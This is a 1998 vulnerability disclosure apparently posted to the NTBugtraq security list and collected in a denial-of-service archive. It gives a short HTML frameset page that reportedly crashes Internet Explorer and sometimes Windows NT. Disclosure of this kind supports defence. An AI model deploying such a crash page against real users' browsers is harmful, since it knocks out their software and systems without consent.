Denial of Service Database


---------- Forwarded message ----------
From: "Spurrier, Noah" 
To: NTSECURITY@LISTSERV.NTBUGTRAQ.COM
Date: Tue, 2 Jun 1998 09:45:33 -0700
Subject: HTML frames can crash MSIE and Active Desktop

Hi,

I discovered the following bug in MSIE. This bug will cause all instances of
the
browser to crash. It will often also crash WindowsNT itself. This code uses
standard HTML forms with no dynamic HTML content.

The following show a sample of the code. I have escaped the HTML tags so
that this will not crash HTML-enabled mail readers.

                
                        <html>

                        <head>

                        <title>This has just crashed your
browser.</title>

                        </head>

                

                        <frameset cols="100%">

                                <frame name="index" src="#crash">

                        </frameset>

                

                        <A NAME="crash">Oops!</A>

                

                        <noframes>

                                Oyo!  You need frames in order to crash.

                        </noframes>

                

                        </html>

                

You can get more information by going to http://www.noah.org/safe
I am also attaching a ZIP file that contains an explaination of the problem.

explanation

Yours,

> _______________________________________
> Noah Spurrier
> NationsBanc Montgomery Securities LLC
> Developer/Integrator
> Research & Institutional Sales
> mailto:nspurrier@montgomery.com
> 415-913-3645